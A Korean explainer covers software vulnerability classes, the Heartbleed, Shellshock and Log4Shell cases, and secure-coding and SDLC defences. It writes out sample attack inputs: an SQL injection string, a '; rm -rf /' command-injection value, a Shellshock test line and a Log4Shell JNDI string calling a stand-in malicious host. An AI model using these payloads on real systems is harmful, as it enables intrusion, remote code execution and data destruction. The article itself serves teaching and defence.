프로그램 취약점 공격과 소프트웨어 보안 대응
메모리·입력 검증·인증·설계 취약점의 공격 방식과 Heartbleed, Shellshock, Log4Shell 사례를 바탕으로 보안 코딩과 SDLC 대응을 정리한다.
2026-08-15 · 최초 발행 2025-05-26
결함이 공격 경로가 되는 지점
프로그램 취약점 공격은 소프트웨어에 남은 결함이나 약점을 악용해 시스템에 비정상적으로 접근하려는 행위다. 소프트웨어 의존도가 높아질수록 취약점의 영향 범위도 넓어질 수 있으며, 조직과 개인 모두에 심각한 피해로 이어질 수 있다.
방어의 출발점은 취약점이 어떤 조건에서 발생하고 어떻게 악용되는지 이해하는 데 있다. 개발, 운영, 보안 담당자가 이를 공통의 문제로 다뤄야 대응 체계를 유지할 수 있다.
메모리와 입력 처리에서 생기는 공격 표면
메모리 취약점은 할당된 영역과 실제 처리 범위가 어긋날 때 발생한다. 버퍼 오버플로우는 프로그램이 확보한 메모리 공간을 넘어 데이터를 기록하는 문제로, 공격자가 추가 데이터를 넣어 실행 흐름을 바꾸거나 악성코드를 실행할 수 있다. C/C++에서 배열 경계를 검사하지 않은 채 strcpy()를 사용하는 경우가 한 예다.
힙 오버플로우는 동적으로 할당한 힙 영역에서 일어난다. 메모리 관리 데이터 구조가 조작되면 임의 코드 실행으로 이어질 수 있다. 정수 오버플로우 역시 데이터 타입이 표현할 수 있는 최대값을 넘는 값에서 발생하며, 메모리 할당 크기 계산 등의 오류를 통해 보안 문제를 만들 수 있다.
입력 검증이 부족하면 데이터베이스, 브라우저, 운영체제 명령 실행 경로가 공격 표면이 된다. SQL 인젝션은 악의적인 SQL 쿼리로 데이터베이스를 조작하는 공격이며, 사용자 입력이 적절히 검증되지 않을 때 발생한다. 로그인 폼에 다음과 같은 코드를 넣어 인증을 우회하는 방식이 예가 될 수 있다: ' OR '1'='1.
XSS는 웹사이트에 악성 스크립트를 주입해 사용자 브라우저에서 실행시키는 공격이다. 저장형, 반사형, DOM 기반 XSS로 나뉘며 쿠키 탈취나 세션 하이재킹에 활용될 수 있다. 명령어 인젝션은 시스템 명령을 실행하는 애플리케이션에 악성 명령을 삽입하는 방식이다. 웹 애플리케이션에 ; rm -rf /와 같은 명령을 넣는 사례가 이에 해당한다.
인증과 설계의 빈틈
취약한 인증은 부실한 비밀번호 정책이나 미흡한 세션 관리에서 비롯된다. 이 경우 무차별 대입 공격에 노출될 수 있다.
권한 상승은 일반 사용자가 관리자 권한을 얻는 공격이다. 더 높은 권한을 획득하는 수직적 권한 상승과, 같은 권한 수준의 다른 사용자 권한을 획득하는 수평적 권한 상승으로 구분한다.
경쟁 조건은 여러 프로세스 또는 스레드가 공유 자원에 동시에 접근할 때 생긴다. 검사 시점과 사용 시점의 차이를 노리는 TOCTOU(Time Of Check to Time Of Use) 공격으로 악용될 수 있다. 기본 계정 사용, 불필요한 서비스 활성화, 오류 메시지 노출 같은 보안 설정 오류도 시스템 정보를 드러내거나 새로운 공격 벡터를 제공할 수 있다.
공격은 탐색에서 흔적 제거까지 이어진다
공격자는 자동화된 스캐너나 수동 분석으로 대상의 취약점을 찾고, 발견한 결함의 특성과 악용 가능성을 분석한다. 이후 해당 취약점을 이용할 코드나 방법을 마련해 실제 시스템에 실행한다.
공격이 성공하면 시스템 제어권을 얻거나 데이터를 탈취할 수 있다. 마지막 단계에서는 로그 삭제처럼 공격 흔적을 없애려는 시도가 뒤따를 수 있다.
널리 알려진 취약점 사례
Heartbleed 취약점 (CVE-2014-0160)
Heartbleed는 OpenSSL의 TLS 구현에서 발견된 심각한 메모리 취약점이다. 추가 검증 없이 임의의 메모리 내용을 읽을 수 있었고, 구현 코드는 다음과 같다.
// 취약한 코드
memcpy(bp, pl, payload); // payload는 사용자가 지정한 크기로, 검증 없이 사용됨
전 세계 약 17% 웹 서버에 영향을 줬으며, 암호키와 개인정보 등 민감 정보가 유출될 가능성이 있었다. 대응에는 OpenSSL 버전 업데이트와 암호키 재발급이 포함된다.
Shellshock 취약점 (CVE-2014-6271)
Shellshock은 GNU Bash 쉘의 환경 변수 처리 방식에서 발견됐다. 특수하게 조작한 환경 변수를 이용하면 임의 코드 실행이 가능했다.
# 취약점 확인 테스트
env x='() { :;}; echo vulnerable' bash -c "echo test"
Bash를 사용하는 웹 서버와 DHCP 클라이언트 등 여러 시스템에 영향을 줄 수 있으며, CGI 스크립트를 통한 원격 코드 실행 가능성도 있었다.
Log4Shell 취약점 (CVE-2021-44228)
Log4Shell은 Apache Log4j 라이브러리의 JNDI 룩업 기능에서 발견된 심각한 취약점이다. 로깅 문자열을 이용해 원격 코드 실행이 가능했다.
${jndi:ldap://malicious-server.com/exploit}
Java 기반 시스템과 클라우드 서비스를 포함해 광범위한 영향을 줬다. 피해 규모와 복잡성 때문에 ‘사이버 팬데믹’으로 불렸다.
개발 수명주기에 보안을 연결하는 방법
외부 입력은 모두 신뢰할 수 없다는 Zero Trust 원칙 아래에서 다뤄야 한다. 입력 검증에는 화이트리스트 방식을 적용하고, 메모리 처리에서는 버퍼 크기를 확인하며 안전한 함수를 사용한다. 예를 들어 strcpy() 대신 strncpy()를 사용할 수 있다.
출력 인코딩도 필요하다. XSS를 막기 위한 HTML 이스케이핑과 SQL 인젝션 방지를 위한 매개변수화된 쿼리가 여기에 속한다.
보안 요구사항, 위협 모델링, 보안 코드 리뷰, 취약점 스캐닝·침투 테스트, 보안 구성 검증, 패치 관리는 각각 요구사항 분석부터 유지보수까지의 단계에 통합할 수 있다. CI/CD 파이프라인에 보안 테스트를 통합하고, 보안 코드 리뷰와 동료 검토를 개발 과정에서 지속적으로 수행하면 자동화 도구만으로 찾기 어려운 논리적 결함도 검토할 수 있다.
취약점 스캐닝에는 소스 코드를 분석하는 정적 분석(SAST), 실행 중인 애플리케이션을 테스트하는 동적 분석(DAST), 오픈소스 취약점을 검사하는 소프트웨어 구성 분석(SCA)이 있다. 정적 분석은 프로그램을 실행하지 않고 소스 코드를 검토하므로 개발 초기와 컴파일 전에 취약점을 찾는 데 활용할 수 있지만, 런타임 취약점 탐지에는 한계가 있다. 동적 분석은 실제 환경에서의 취약점을 검증할 수 있으나 코드 커버리지의 한계 때문에 모든 취약점을 발견하기는 어렵다. 퍼징은 무작위 또는 준무작위 데이터를 프로그램에 넣어 예외 상황을 유발하며, 메모리 손상이나 크래시처럼 예상하지 못한 동작을 찾는 데 효과적이다.
DEP(Data Execution Prevention)는 데이터 영역의 코드 실행을 막고, ASLR(Address Space Layout Randomization)은 메모리 주소를 무작위화한다. 스택 카나리(Stack Canary)는 스택 버퍼 오버플로우를 감지하며, 샌드박싱은 애플리케이션을 격리해 실행한다.
패치 관리는 보안 패치를 신속하게 적용하고 취약점 정보를 모니터링하는 체계를 갖추는 일까지 포함한다. 배포 후에는 프로그램 실행에 필요한 최소한의 권한만 부여하고, 기본 설정과 불필요한 서비스·포트·API가 남아 있지 않은지 점검해야 한다. 의존성 라이브러리를 정기적으로 업데이트하고 패치 관리 자동화 도구를 활용하는 한편, 방화벽과 WAF(웹 애플리케이션 방화벽), 네트워크 세그먼테이션, 암호화 통신(TLS)으로 운영 환경의 접근을 제한할 수 있다. 보안 이벤트를 실시간으로 모니터링하고 로그를 분석하며, 침해 대응 프로세스와 복구 계획, 백업 전략을 함께 운영해야 한다.
자동화와 공급망이 넓힌 위험
제로데이 취약점 거래 시장이 확대되고 버그 바운티 프로그램도 일반화되고 있다. AI/ML 기반 취약점 분석 및 공격 도구가 등장하면서 공격의 속도와 정교함도 증가하는 흐름이다.
소프트웨어 의존성을 통한 공급망 공격도 늘고 있다. SolarWinds, Kaseya 사례처럼 신뢰할 수 있는 소프트웨어가 공격 경로가 될 수 있다. 컨테이너와 서버리스 같은 클라우드 환경의 취약점도 증가하며, 공유 책임 모델은 보안 운영의 복잡성을 높인다.
취약점 대응은 일회성 점검으로 끝나지 않는다. 취약점 발견과 대응을 위한 커뮤니티 및 정보 공유, 개발자·보안 전문가·관리자의 협력이 지속적인 보안 프로세스를 뒷받침한다.